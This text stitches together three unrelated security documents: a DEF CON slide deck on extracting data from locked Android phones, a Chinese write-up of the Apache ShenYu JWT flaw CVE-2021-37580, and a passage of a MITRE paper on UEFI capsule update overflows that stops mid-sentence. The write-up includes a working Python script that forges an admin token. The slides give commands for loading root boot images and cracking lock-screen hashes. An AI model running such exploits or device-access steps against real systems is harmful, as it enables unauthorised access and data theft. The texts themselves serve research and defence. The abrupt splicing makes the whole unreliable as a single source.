Incident Response
• Instructor at Oracle, (ISC)2 and Ex-instructor
at Symantec. | pdf |
Gaining Access to Android User Data
Into The Droid
DEF CON 20
Introduction
• Why this talk is useful
• Defend access / gain access
• Device seizure, loss, border crossing, stop and search, espionage...
• The company
• viaForensics - Mobile security and digital forensics, strong R&D
team, government agencies and corporations
• The speaker
• Thomas Cannon - Director of Breaking Things
Challenges
• ADB off by default
• Screen lock
• Code signing for updates
and boot images
• Encryption
• Variety of device hardware,
software and configuration
Bootloader Essentials
• How we use the bootloader
• Accessing bootloader mode
• Bootloader protocols
• Bootloader protection
Defeat The Bootloader
• S-ON vs S-OFF
• @secuflag controlled in radio firmware
• Gold Card - specially formatted MicroSD card
can bypass carrier ID check when flashing ROMs
• White Card - special SIM card used as an
authentication token to control access to
diagnostic mode
HTC
Example
Defeat The Bootloader
• Emulate White Card with hardware, combine with
Gold Card to enter diagnostics and clear S-ON
HTC
Example
Defeat The Bootloader
• White Card not needed for CDMA phones
• Once S-OFF, can RAM load a custom boot image
• This technique wipes most devices! But not all.
• Successfully used this technique to gain access to
some locked stock HTC devices such as HTC
Desire
• Try it yourself with an XTC Clip
HTC
Example
Forensic Boot Image
• Start early in the boot chain before the
system loads
• Provide ADB root shell over USB which
can be used to image the device
• Do not mount anything, including
cache, to prevent any writes to
partitions
• Devices with raw NAND flash and wear
levelling implemented in software
(YAFFS2) can be prevented from
overwriting deleted data
Build Boot Image
$ abootimg -x stock-recovery.img
$ abootimg-unpack-initrd
$ cd ramdisk
(edit ramdisk contents)
$ cd ..
$ abootimg-pack-initrd -f
$ abootimg -u stock-recovery.img -r initrd.img
RAM Disk Contents
/dev
/proc
/sbin
adbd
busybox (+ symlinks)
nanddump (to dump partitions)
/sys
init
default.prop (enable root shell, ro.secure=0)
init.rc (do not mount partitions, just start adbd)
ueventd.rc
Flash and RAM Load
• Samsung
• Dump partitions with ODIN <= 1.52 or Heimdall. Maybe.
• Flashing with ODIN or Heimdall
• heimdall flash --recovery recovery.bin (Epic 4G)
• heimdall flash --kernel zImage (Galaxy S)
• HTC
• fastboot boot recovery.img (RAM Loading)
• fastboot flash recovery recovery.img (flash partition)
• Motorola
• sbf_flash image name.sbf (make sure it only contains recovery)
JTAG Primer
• How it works
• Flasher Box
• ORT
• RiffBox
• Medusa Box
Serial Debug Cable
• Some devices have debug access
via serial cables which can be used
to gain access to data
• On Samsung Galaxy SII / Galaxy
Note this is activated by grounding ID
pin of USB with a 523K ohm resistor
• TTL serial access provided on D+
and D- pins of USB connector
• Use a Bus Pirate and MicroUSB
breakout board to connect
Galaxy
SII
Crack PIN or Password
• Salt
• /data/data/com.android.providers.settings/databases/
settings.db
• SELECT * FROM secure WHERE name =
'lockscreen.password_salt'
• PIN / password
• /data/system/password.key
• Salted SHA1 of password concatenated with salted MD5
Crack PIN or Password
• Calculate the value of the salt in lowercase hex with no padding
$ python -c "print '%x' % 720624377925219614"
a002c0dbeb8351e
• Copy the last 32 bytes of password.key (MD5 hash in hex), add
a colon and then add the salt
5D8EC41CB1812AC0BD9CB6C4F2CD0122:a002c0dbeb8351e
• Crack with software such as oclHashcat-lite
HID Brute Force?
Video
HID Brute Force
• AVR ATMEGA32U4 emulates
USB keyboard typing PINs
• USB OTG cable for USB host
• Devices usually rate limit
attempts and wipe after too
many incorrect passcodes
Android Encryption
Android Encryption
• Supported since Android 3.0
• Based on dm-crypt
• AES 128 CBC
• Implementations may vary,
e.g. Samsung has their own
key management module
Android Encryption
PBKDF2
x2000
Password/PIN
Salt (128 bit)
/dev/urandom
keylen=32
AES 128
CBC
Master Key (128 bit)
Key+IV (32 bytes)
Encrypted Master Key
(128 bit)
Key (128 bit)
IV (128 bit)
Android Encryption
Master Key (128 bit)
IV (ESSIV:SHA256)
userdata partition
dm-crypt
AES 128 CBC
Encrypted userdata partition
Cracking Encryption
• Encrypted Master Key +
Salt stored in footer
• Footer stored at end of
partition or in a footer file on
another partition or as a
partition itself
• Image device and locate
footer + encrypted
userdata partition
Cracking Encryption
• Parse footer
• Locate Salt and Encrypted Master Key
• Run a password guess through
PBKDF2 with salt, use resulting key
and IV to decrypt master key, use
resulting master key to decrypt first
sector of encrypted image.
• If password is correct, plain text will
be revealed
• Cracking PINs takes seconds. Passwords
are usually short or follow patterns due to
being the same as the lock screen password
Evil Maid Attack
• Load app onto system partition, wait for user
to boot phone, get remote access to
decrypted user data
• Rootkits - easy to compile for Android
• Evil USB charger
Reverse Shell
• App with no permissions can create a reverse shell,
giving remote access to attacker
Desperate Techniques
• Hard reset - some
devices prior to 3.0
did not wipe data
properly. Wipe, boot,
root and recover
• Chip-off - de-solder
NAND chips
• Screen smudges
More Techniques!
• Custom update.zip - can you get one signed?
• Race condition on updates via SD cards - fixed
• Own a CA? Who doesn't these days? MITM
connection, push app, update or exploit
• Entry via Google Play, if credentials cached on
desktop
Santoku Linux
• Free and open bootable Linux
distribution full of tools
• Project is a collaboration with
other mobile security pros
• Mobile Forensics
• Mobile App Security Testing
• Mobile Malware Analysis
Check out the Alpha release at https://santoku-linux.com
For the latest versions of our presentations visit:
https://viaforensics.com/resources/presentations
Thomas Cannon
@thomas_cannon
github.com/thomascannon
[email protected]
Thank you! | pdf |
CVE-2021-37580-apacheshenyuadmin
漏洞
Apacheshenyuadmin-jwt越权漏洞，通过伪造jwt获取管理员。
漏洞成因：
硬编码jwtkey
1.
只解析了jwttoken的内容，并没有针对其内容进⾏判断
2.
影响版本
shenyu：v2.3.0-v2.4.0
漏洞分析
直接在权限校验处打上断点
org/apache/shenyu/admin/shiro/config/ShiroRealm.AuthenticationInfo
getCredential会获取header头内的token并返还。然后代码会判断token是否有值。
如果有就会进⼊getUserInfoByToken⽅法
org/apache/shenyu/admin/shiro/config/ShiroRealm.java-getUserInfoByToken
这⾥把token传⼊到了getIssuer⽅法内
跟进此⽅法，⾸先解码jwt之后返回jwt解码后到username字段到值。
继续向下⾛之后就是根据usernmae查找⽤⼾判断是否存在此⽤⼾，如果没有则返回usernamecan
notbefound。
如果存在则返回查找到的⽤⼾信息。
在这⼀套流程中，并没有针对jwt的key进⾏校验。
Shenyu-admin获取token的字段
org/apache/shenyu/admin/shiro/bean/StatelessAuthFilter.java-StatelessAuthFilter内
漏洞利⽤
poc：
Python
import jwt
def generateToken(username):
headers = {
"alg": "HS256",
"typ": "JWT"
}
# 设置headers，即加密算法的配置
salt = ""
# 随机的salt密钥，只有token⽣成者（同时也是校验者）⾃⼰能有，⽤于校验⽣成的token是
否合法
payload = {
"userName": username,
}
token = jwt.encode(payload=payload, key=salt,
algorithm='HS256', headers=headers)
return token
print(generateToken("admin"))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
传⼊⽤⼾名，拿到该⽤⼾的token。然后设置header头，X-Access-Token:XXXXX。即获得管理员权
限。
根据分析可以得知，代码本⾝只需要jwt内payload的username，所以sign为空也是可以绕过权限。
Apache
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIn0.
1
EXP:
https://github.com/fengwenhua/CVE-2021-37580 | pdf |
Extreme Privilege Escalation On Windows 8/UEFI Systems
Corey Kallenberg
Xeno Kovah
John Butterworth
Sam Cornwell
[email protected], [email protected]
[email protected], [email protected]
The MITRE Corporation
Abstract
The UEFI specification has more tightly coupled the bonds of the operating system and the platform
firmware by providing the well-defined “Runtime Service” interface between the operating system and
the firmware. This interface is more expansive than the interface that existed in the days of conventional
BIOS, which has inadvertently increased the attack surface against the platform firmware. Furthermore,
Windows 8 has introduced an API that allows accessing this UEFI interface from a privileged userland
process. Vulnerabilities in this interface can potentially allow a privileged userland process to escalate its
privileges from ring 3 all the way up to that of the platform firmware, which attains permanent control
of the very-powerful System Management Mode. This paper discusses two such vulnerabilities that the
authors discovered in the UEFI open source reference implementation and the techniques that were used
to exploit them.
1
Contents
1
Introduction
3
2
Runtime Services
3
2.1
Variable Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
2.2
Capsule Update . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
2.2.1
Capsule Update Initiation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
2.2.2
PEI Phase Capsule Coalescing
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
2.2.3
DXE Phase Capsule Processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
3
Capsule Update Vulnerabilities
6
3.1
Coalescing Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7
3.2
Envelope Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9
4
Capsule Update Exploitation
10
4.1
Coalescing Exploitation
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10
4.1.1
Coalescing Exploitation Difficulties . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11
4.1.2
Descriptor Overwrite Approach . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12
4.1.3
Optimization Tricks
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12
4.1.4
Coalesce Exploitation Success . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13
4.2
Envelope Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
14
4.3
Exploitation From Windows 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
16
5
Leveraging The Attack
18
6
User Experience
18
7
A↵ected Systems
19
7.1
OEM Firmware Instrumentation
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
19
7.2
HP EliteBook 2540p F23 Case Study . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
20
7.3
General Observations Regarding A↵ected Systems
. . . . . . . . . . . . . . . . . . . . . . . .
21
8
Vendor Response
21
9
Recommendations
22
10 Related Work
22
11 Conclusion
22
12 Acknowledgments
22
2
1
Introduction
UEFI is rapidly replacing conventional BIOS on modern computers. A driving factor behind this migration
is Microsoft’s addition of UEFI firmware to the recommended hardware for Windows 81. An important
reason for Microsoft’s push for UEFI adoption is the additional security features that UEFI provides. UEFI
Secure Boot is one of these features which protects against bootkit style attacks that can compromise the
integrity of the NT kernel at load time. Starting with Windows Vista, 64 bit editions of Windows have also
enforced the requirement that kernel drivers be signed with an authenticode certificate. Thus the signed
driver requirement coupled with Secure Boot enforces of the integrity of the ring 0 code in the Windows 8
x64 environment.
In the post exploitation phase, it may be desirable for an attacker to inject a rootkit into ring 0 in order to
have powerful influence over the system. Due to Secure Boot and the signed driver requirement, the attacker
would now require a ring 3 to ring 0 privilege escalation exploit that attacks a vulnerability in the NT kernel
or a 3rd party driver. This particular attack model has already been discussed at length[12][13][14]. This
paper instead seeks to explore a di↵erent method of post exploitation privilege escalation that allows the
attacker permanent residence in an even more extreme environment... System Management Mode (SMM).
userspace
kernel
VMM
SMM
SPI flash
ring 3
ring 0
“ring -1”
“ring -2”
“ring -2.5”
userspace
kernel
VMM
SMM
SPI flash
Extreme Post-Exploitation
Privilege Escalation
Plain Jane Post-Exploitation
Privilege Escalation
Figure 1: Plain Jane Post-Exploitation Privilege Escalation vs. Extreme Post-Exploitation Privilege Escalation
The attack surface explored in this paper is the UEFI Runtime Services interface. A successful attack
against this interface may allow an attacker to permanently alter the UEFI firmware.
From the UEFI
firmware, the attacker is allowed to control the early bootup process of the system, including the configuration
and initialization of the SMM code. This paper highlights the UEFI Runtime Services as a new and viable
attack surface by describing and exploiting two UEFI vulnerabilities discovered by the authors.
2
Runtime Services
UEFI provides a set of functions that are accessible to both the early boot environment and to the operating
system[18]. These functions are known as the “Runtime Services.” The Runtime Services provide function-
ality to reset the system, modify firmware environment variables, initiate a firmware update, as well as other
tasks. Typically these services are meant to be used by the operating system kernel. However, Windows 8
has introduced an API that exposes a subset of the Runtime Services to administrator userland processes.
1http://windows.microsoft.com/en-us/windows-8/system-requirements
3
2.1
Variable Interface
The Runtime Services provide functions for accessing “EFI Variables.” EFI variables are similar to op-
erating system environment variables.
Typically EFI variables are consumed by the platform firmware
during the boot up of the system.
Alternatively, some EFI variables may be created by the firmware
to communicate information to the operating system. For instance, the platform language and the boot
media order are stored as EFI variables.
The Runtime Services provide functions for reading, writing,
creating and enumerating EFI variables.
Furthermore, Windows 8 introduced the SetFirmwareEnviron-
mentVariable and GetFirmwareEnvironmentVariable functions for programmatically interacting with EFI
variables from userland[11]. These functions are callable from an administrator userland process with the
SE SYSTEM ENVIRONMNENT NAME access token.
The important observation is the EFI variable interface is a conduit by which a less privileged domain
(ring 3) can insert data for a more privileged domain (the platform firmware) to consume. Furthermore, many
of these variables serve undocumented purposes and have complex contents. Historically this is the type of
interface where memory corruption vulnerabilities have been discovered. Alert readers may draw comparisons
to Unix environment variable parsing vulnerabilities2. In fact, vulnerabilities have already been discovered
in some of these EFI variables that allowed bypassing Secure Boot or bricking the victim computer[16][4].
However, the aforementioned vulnerabilities were design flaws resulting from security critical configuration
data being stored in an unprotected3 EFI variable. This paper specifically considers memory corruption
vulnerabilities that were found in the Intel UEFI reference implementation’s[9] parsing of a standard EFI
variable, “CapsuleUpdateData.”
2.2
Capsule Update
The platform firmware is stored on a SPI flash chip that is soldered onto the motherboard. Because the
firmware is a security critical component, Intel provides a number of chipset[5] flash protection mechanisms
that can protect the contents of the flash chip from even ring 0 code. It is also necessary to implement a
means to securely update the platform firmware in the event that bugs need to be patched, or new features
added. Historically, the firmware update process was non standardized and OEM specific. UEFI attempts to
standardize the firmware update process by defining “capsule update” functionality as part of the Runtime
Services.
The capsule update Runtime Service seeds a firmware update capsule into RAM and then performs a
soft reset of the system. During a warm reset of the system, the contents of RAM will remain intact, thus
allowing the capsule contents to survive for consumption by the firmware. The flash chip is also unlocked
as part of the reset. Early in the boot up of the system, the firmware will check for the existence of a
firmware update capsule. If one exists, the firmware will verify the update contents are signed by the OEM,
and if so, write the new firmware update to the still unlocked flash. If the update contents can not be
cryptographically verified, or if no update is pending, the firmware locks the flash protection registers on
the chipset to prevent further write access to the firmware. For further information on these flash protection
mechanisms, the reader is referred to another paper[15][16].
Because an open source UEFI reference implementation is provided by Intel[8], the exact details of the
UEFI capsule update implementation can be examined at the source code level. The implementation specifics
are now described in detail.
2.2.1
Capsule Update Initiation
The capsule update process is initiated by calling the UpdateCapsule Runtime Service function.
2This class of vulnerability allowed an unprivileged user to escalate their privileges to root by seeding an environment variable
with an exploit payload, and then calling a suid root program that unsafely parsed the relevant environment variable
3Non Authenticated, Runtime Accessible.
4
typedef
EFI_STATUS
UpdateCapsule (
IN EFI_CAPSULE_HEADER
**CapsuleHeaderArray,
IN UINTN
CapsuleCount,
IN EFI_PHYSICAL_ADDRESS ScatterGatherList OPTIONAL
);
Listing 1: UpdateCapsule definition.
The ScatterGatherList in Listing 1 is an array of EFI CAPSULE BLOCK DESCRIPTOR entries. Each
descriptor entry is a pair consisting of a capsule fragment data pointer, and a capsule fragment size.
typedef struct (
UINT64 Length;
union {
EFI_PHYSICAL_ADDRESS DataBlock;
EFI_PHYSICAL_ADDRESS ContinuationPointer;
}Union;
) EFI_CAPSULE_BLOCK_DESCRIPTOR;
Listing 2: EFI CAPSULE BLOCK DESCRIPTOR definition.
It is the responsibility of the calling operating system to decide how to fragment the contiguous update
capsule so that it fits within the resource constraints of the system. Note that each individual fragment
of the update capsule is unsigned. The location of the ScatterGatherList is stored in an EFI Non-Volatile
variable named “CapsuleUpdateData” so that it can be passed onto the firmware during reboot. At this
point, a warm reset is performed.
2.2.2
PEI Phase Capsule Coalescing
The UEFI boot process is divided into several phases. The Pre-EFI Initialization (PEI) phase occurs early in
the boot up process and is responsible for, among other things, initializing the CPUs and main memory[7].
PEI is where the processing of the incoming capsule update image begins. Initially, an attempt is made to
determine whether or not a firmware update is pending. If the platform is booting under a warm reset and
the CapsuleUpdateData variable exists, the boot mode is changed to BOOT ON FLASH UPDATE. At this
point the contents of the CapsuleUpdateData variable is interpretted as a physical address pointing to the
aforementioned ScatterGatherList.
Before processing can continue, the capsule update must be coalesced into its original form. The results
of this process are described visually in Figure 2. After the update has been coalesced, further processing is
deferred to the DXE phase.
2.2.3
DXE Phase Capsule Processing
The Driver Execution Environment Phase (DXE) is responsible for the majority of system initialization[6].
DXE is responsible for continuing to process the capsule image that was coalesced during PEI. The contents
of the capsule image are encapsulated in a series of envelopes that provide contextual information about the
contents of the update. For a visual depiction see Figure 3.
5
00000000
FFFFFFFF
MemBase
MemBase + MemSize
3C1BF000
100000
Coalesced
Capsule
UEFI PEI Code
PEI Stack
Capsule Data Block 0
Capsule Data Block 1
Capsule Data Block 1
Capsule Data Block N-1
...
Capsule Data Block 0
Capsule Data Block N-1
3F000000
3E000000
3D000000
DescriptorArray (BlockList)
DescriptorArray[0]
Length=0x20000
DataBlock=3F000000
DescriptorArray[1]
Length=0x20000
DataBlock=3D000000
...
DescriptorArray[N-1]
Length=0x100
DataBlock=3E000000
3E700000
“CapsuleUpdateData” = 3E700000
Figure 2: Capsule Image Coalesced During PEI Phase
typedef struct {
EFI_GUID
CapsuleGuid;
UINT32
HeaderSize;
UINT32
Flags;
UINT32
CapsuleImageSize;
} EFI_CAPSULE_HEADER;
typedef struct {
UINT8
ZeroVector[16];
EFI_GUID
FileSystemGuid;
UINT64
FvLength;
UINT32
Signature;
EFI_FVB_ATTRIBUTES
Attributes;
UINT16
HeaderLength;
UINT16
Checksum;
UINT8
Reserved[3];
UINT8
Revision;
EFI_FV_BLOCK_MAP_ENTRY
FvBlockMap[1];
} EFI_FIRMWARE_VOLUME_HEADER;
Listing 3: Capsule Update envelope structures.
3
Capsule Update Vulnerabilities
The authors performed a brief 2 week audit of the open source UEFI reference implementation at release
UDK2010[9]. The focus of the audit was the capsule update process, and the scope was limited to code that
executes before cryptographic verification of the capsule contents. Critical vulnerabilities were found both
6
CAPSULE
FIRMWARE_VOLUME_HEADER
FIRMWARE_VOLUME_HEADER
FIRMWARE_FILE
FIRMWARE_FILE
CAPSULE_HEADER
FIRMWARE_VOLUME_HEADER
Figure 3: Capsule Envelopes
in the PEI coalescing phase, and in the DXE capsule processing phase. The specifics of the vulnerabilities
are discussed below.
3.1
Coalescing Vulnerability
EFI_STATUS
EFIAPI
CapsuleDataCoalesce (
IN EFI_PEI_SERVICES
**PeiServices,
IN EFI_PHYSICAL_ADDRESS
*BlockListBuffer,
IN OUT VOID
**MemoryBase,
IN OUT UINTN
*MemorySize
)
{
...
//
// Get the size of our descriptors and the capsule size. GetCapsuleInfo()
// returns the number of descriptors that actually point to data, so add
// one for a terminator. Do that below.
//
GetCapsuleInfo (BlockList, &NumDescriptors, &CapsuleSize);
if ((CapsuleSize == 0) || (NumDescriptors == 0)) {
return EFI_NOT_FOUND;
}
...
DescriptorsSize
= NumDescriptors * sizeof (EFI_CAPSULE_BLOCK_DESCRIPTOR);
...
if (*MemorySize <= (CapsuleSize + DescriptorsSize)) { <= Bug 1
return EFI_BUFFER_TOO_SMALL;
}
Listing 4: CapsuleDataCoalesce code
7
EFI_STATUS
GetCapsuleInfo (
IN EFI_CAPSULE_BLOCK_DESCRIPTOR
*Desc,
IN OUT UINTN
*NumDescriptors OPTIONAL,
IN OUT UINTN
*CapsuleSize OPTIONAL
)
{
UINTN Count;
UINTN Size;
...
while (Desc->Union.ContinuationPointer != (EFI_PHYSICAL_ADDRESS) (UINTN) NULL) {
if (Desc->Length == 0) {
//
// Descriptor points to another list of block descriptors somewhere
//
Desc = (EFI_CAPSULE_BLOCK_DESCRIPTOR
*) (UINTN) Desc->Union.ContinuationPointer;
} else {
Size += (UINTN) Desc->Length; <= Bug 2
Count++;
Desc++;
}
}
if (NumDescriptors != NULL) {
*NumDescriptors = Count;
}
if (CapsuleSize != NULL) {
*CapsuleSize = Size;
}
Listing 5: GetCapsuleInfo code
The important values for our discussion are CapsuleSize and DescriptorSize.
CapsuleSize is set by
GetCapsuleInfo and is equal to the sum of the length values in the descriptor array. DescriptorSize is also
set by GetCapsuleInfo and is equal to the total size of the descriptor array. All of these values are attacker
controlled.
There are several opportunities for integer overflow in the coalescing code descibed by Listings 4 and 5.
The first bug is an integer overflow in the check to see if the CapsuleSize and DescriptorSize sum exceed the
available MemorySize (Bug 1). The consequence of this overflow could be a very large CapsuleSize passing
the buggy sanity check.
Another issue is an integer overflow possibility in the summation of the descriptor array Length members
in GetCapsuleInfo (Bug 2). With this issue, if one entry in the descriptor array has a very large Length
value, CapsuleSize could be less than the real sum of the Length values.
8
3.2
Envelope Vulnerability
typedef struct {
UINTN
Base;
UINTN
Length;
} LBA_CACHE;
typedef struct {
UINT32 NumBlocks;
UINT32 Length;
} EFI_FV_BLOCK_MAP_ENTRY;
typedef struct {
UINTN
Signature;
EFI_HANDLE
Handle;
EFI_DEVICE_PATH_PROTOCOL
*DevicePath;
EFI_FIRMWARE_VOLUME_BLOCK_PROTOCOL
FwVolBlockInstance;
UINTN
NumBlocks;
LBA_CACHE
*LbaCache;
UINT32
FvbAttributes;
EFI_PHYSICAL_ADDRESS
BaseAddress;
UINT32
AuthenticationStatus;
} EFI_FW_VOL_BLOCK_DEVICE;
EFI_STATUS
ProduceFVBProtocolOnBuffer (
IN EFI_PHYSICAL_ADDRESS
BaseAddress,
IN UINT64
Length,
IN EFI_HANDLE
ParentHandle,
IN UINT32
AuthenticationStatus,
OUT EFI_HANDLE
*FvProtocol
OPTIONAL
)
{
EFI_STATUS
Status;
EFI_FW_VOL_BLOCK_DEVICE
*FvbDev;
EFI_FIRMWARE_VOLUME_HEADER
*FwVolHeader;
UINTN
BlockIndex;
UINTN
BlockIndex2;
UINTN
LinearOffset;
UINT32
FvAlignment;
EFI_FV_BLOCK_MAP_ENTRY
*PtrBlockMapEntry;
FwVolHeader = (EFI_FIRMWARE_VOLUME_HEADER *)(UINTN) BaseAddress;
...
//
// Init the block caching fields of the device
// First, count the number of blocks
//
FvbDev->NumBlocks = 0;
for (PtrBlockMapEntry = FwVolHeader->BlockMap;
PtrBlockMapEntry->NumBlocks != 0;
PtrBlockMapEntry++) {
FvbDev->NumBlocks += PtrBlockMapEntry->NumBlocks;
}
//
// Second, allocate the cache
//
FvbDev->LbaCache = AllocatePool (FvbDev->NumBlocks * sizeof (LBA_CACHE)); <= Bug 3
Listing 6: ProduceFVBProtocolOnBu↵er Code and Structures
The code in Listing 6 is called during the DXE phase to prepare the capsule for further processing. The
NumBlocks member of FvbDev is set equal to the the summation of an attacker controlled array of UINT32
values that dangle o↵ of the EFI FIRMWARE VOLUME HEADER envelope. This array is of arbitrary
9
length, as summation is only terminated when a zero entry is encountered.
In the case where DXE executes in 32 bit mode, the multiplication involved in the allocation is trivially
overflowable. In the case where DXE executes in 64 bit mode, FvbDev’s NumBlocks is a 64 bit integer,
but the attacker controlled entries in the BlockMap array retain 32 bit width. Hence to trigger this integer
overflow, an attacker must cause FvbDev’s NumBlocks to be sufficiently large through a series of 32 bit
integer additions. An attacker who creates a BlockMap array with over 0x10000000 entries of maximum
NumBlocks (0x↵↵↵↵) can force this integer overflow in the multiplication.
This huge BlockMap array
requires approximately 2GB of RAM to create, which is within the realm of possibility on modern systems
where 4GB or more is often standard. The result of an overflow in the multiplication before the allocation
will be an unexpectedly small LbaCache bu↵er (Bug 3).
4
Capsule Update Exploitation
Exploitation of these vulnerabilities proved to be sufficiently interesting to warrant discussion. The execution
environment of the vulnerable code is atypical. The processor is running in protected mode with a flat
segmentation model and paging disabled. Because memory protections are generally provided at the page
level, with paging disabled, the majority of the address space is RWX with a few exceptions4. Also noteworthy
is the complete lack of exploit mitigations in the firmware code and its execution environment.
Despite these attacker advantages, significant hurdles had to be overcome to successfully exploit the vul-
nerabilities. The primary obstacle for an attacker working in this space is the lack of appropriate debugging
capabilities. To overcome this, the authors originally developed their exploits against the MinnowBoard[2].
The MinnowBoard was chosen because of its UEFI firmware (which contained all of the relevant vulnera-
bilities) and its provided debug stub. The following section discusses the exploitation process as it unfolded
against the MinnowBoard. Exploitation of OEM specific code is discussed later in Section 7.2.
4.1
Coalescing Exploitation
During the capsule coalescing in the PEI phase, the processor is executing in 32 bit protected mode with
paging disabled. The PEI code is executing in place out of flash memory and Cache-As-RAM (CAR) is being
used for stack space. The MinnowBoard has 1GB of RAM, meaning that addresses between [0,0x3FFFFFFF]
are backed up with physical frames. The CAR stack and PEI code are at the top of the address space. This
means that a large gap exists in the middle of the address space that is neither backed up by devices nor
RAM.
After the integers overflows described in Section 3 allow for an unexpectedly large capsule to be coalesced,
the following code is relevant.
4Code executing in place out of flash memory is not writable.
10
if (*MemorySize <= (CapsuleSize + DescriptorsSize)) {
return EFI_BUFFER_TOO_SMALL;
}
FreeMemBase = *MemoryBase;
FreeMemSize = *MemorySize;
...
//
// Take the top of memory for the capsule. Naturally align.
//
DestPtr
= FreeMemBase + FreeMemSize - CapsuleSize;
DestPtr
= (UINT8 *) ((UINTN) DestPtr &~ (UINTN) (sizeof (UINTN) - 1));
FreeMemBase
= (UINT8 *) BlockList + DescriptorsSize;
FreeMemSize
= (UINTN) DestPtr - (UINTN) FreeMemBase;
NewCapsuleBase
= (VOID *) DestPtr;
//
// Move all the blocks to the top (high) of memory.
// Relocate all the obstructing blocks. Note that the block descriptors
// were coalesced when they were relocated, so we can just ++ the pointer.
//
CurrentBlockDesc = BlockList;
while ((CurrentBlockDesc->Length != 0) || (CurrentBlockDesc->Union.ContinuationPointer != (EFI_PHYSICAL_ADDRESS) (UINTN) NULL)
//
// See if any of the remaining capsule blocks are in the way
//
TempBlockDesc = CurrentBlockDesc;
while (TempBlockDesc->Length != 0) {
//
// Is this block in the way of where we want to copy the current descriptor to?
//
if (IsOverlapped (
(UINT8 *) DestPtr,
(UINTN) CurrentBlockDesc->Length,
(UINT8 *) (UINTN) TempBlockDesc->Union.DataBlock,
(UINTN) TempBlockDesc->Length
)) {
//Relocate the block
RelocPtr = FindFreeMem (BlockList, FreeMemBase, FreeMemSize, (UINTN) TempBlockDesc->Length);
....
CopyMem ((VOID *) RelocPtr, (VOID *) (UINTN) TempBlockDesc->Union.DataBlock, (UINTN) TempBlockDesc->Length);
TempBlockDesc->Union.DataBlock = (EFI_PHYSICAL_ADDRESS) (UINTN) RelocPtr;
}
// Next descriptor
TempBlockDesc++;
}
...
CopyMem ((VOID *) DestPtr, (VOID *) (UINTN) (CurrentBlockDesc->Union.DataBlock), (UINTN)CurrentBlockDesc->Length);
DestPtr += CurrentBlockDesc->Length;
Listing 7: CapsuleDataCoalesce code continued
4.1.1
Coalescing Exploitation Difficulties
The most obvious exploitation approach is to supply a Capsule with CapsuleSize large enough to force
CapsuleSize + DescriptorSize to overflow (Bug 1). Then the process of coalescing the huge capsule will
overflow the intended coalescing area and corrupt the address space. Figure 4 demonstrates this approach.
However, this most obvious approach was insufficient on the MinnowBoard. When the overflow began
writing into the address space gap described in Section 4.1, the writes would silently fail. Although the
destination pointer for the memory copy operation continued to proceed upwards despite these invalid
writes, a timeout associated with the failed write slowed the process down to a prohibitively slow pace. A
di↵erent approach was considered.
11
00000000
FFFFFFFF
MemBase
MemBase + MemSize
3C1BF000
100000
UEFI PEI Code
PEI Stack
Intended Coalescing Space
DescriptorArray[0]
Length=FFFFFF2B
DataBlock=Wherever
Overflowing DataBlock Copy
Top of RAM
40000000
Figure 4: First Attempt at Coelescing Exploitation fails due to the address space gap
4.1.2
Descriptor Overwrite Approach
It was necessary to devise a way to overwrite a function pointer in the high portion of the address space
without touching the address space gap.
We chose a multistage approach that would first corrupt the
descriptor array, so that DestPtr would be adjusted by a corrupted descriptor length value. This approach
allows exact control of DestPtr on a subsequent block copy.
One major hurdle stood in the way of the descriptor overwrite approach; before the coalescing block copy
operations begins, the descriptor array is relocated to the bottom of the address space. This ensures that
the descriptor array is always out of the way of any block copy operations. Additional tricks were needed to
proceed further with this approach.
4.1.3
Optimization Tricks
An examination of the CopyMem implementation yielded a clever trick that could be abused for the descriptor
overwrite approach.
12
CopyMem (
OUT VOID
*DestinationBuffer,
IN CONST VOID
*SourceBuffer,
IN UINTN
Length
)
{
...
if (DestinationBuffer == SourceBuffer) {
return DestinationBuffer;
}
return InternalMemCopyMem (DestinationBuffer, SourceBuffer, Length);
}
Listing 8: CopyMem implementation
Note in Listing 8 that CopyMem is optimized so that if DestinationBu↵er and SourceBu↵er are equal,
the function will automatically exit successfully. Hence a huge CopyMem can be performed that will skip
over the address space gap, and DestPtr will subsequently be increased by a huge value. Using this approach
allowed DestPtr to be wrapped to the bottom of the address space where the relocated descriptor array had
been placed.
Also note that this CopyMem optimization abuse can not be used to set DestPtr directly at any function
pointers high in the address space. This requirement results from the IsOverlapped check described in code
Listing 7. The IsOverlapped check validates that the current block copy operation will not clobber the current
block or any other remaining data blocks. Because we have explicitly set DestPtr equal to CurrentBlockDesc’s
Data member in order to abuse the CopyMem optimization, the blocks necessarily overlap. However, if we
examine the IsOverlapped implementation, we see a way out.
BOOLEAN
IsOverlapped (
UINT8
*Buff1,
UINTN
Size1,
UINT8
*Buff2,
UINTN
Size2
)
{
//
// If buff1’s end is less than the start of buff2, then it’s ok.
// Also, if buff1’s start is beyond buff2’s end, then it’s ok.
//
if (((Buff1 + Size1) <= Buff2) || (Buff1 >= (Buff2 + Size2))) { <= Bug 4
return FALSE;
}
return TRUE;
}
Listing 9: IsOverlapped implementation
IsOverlapped will erroneously return false if an integer overflow is induced by Bu↵1 + Size1 (Bug 4).
Thus the CopyMem optimization trick cannot be used to set DestPtr directly at the high portion of the
address space, as this would not induce an integer overflow in the IsOverlapped calculation and IsOverlapped
would return true. However, this works perfectly to wrap DestPtr to the bottom of the address space, which
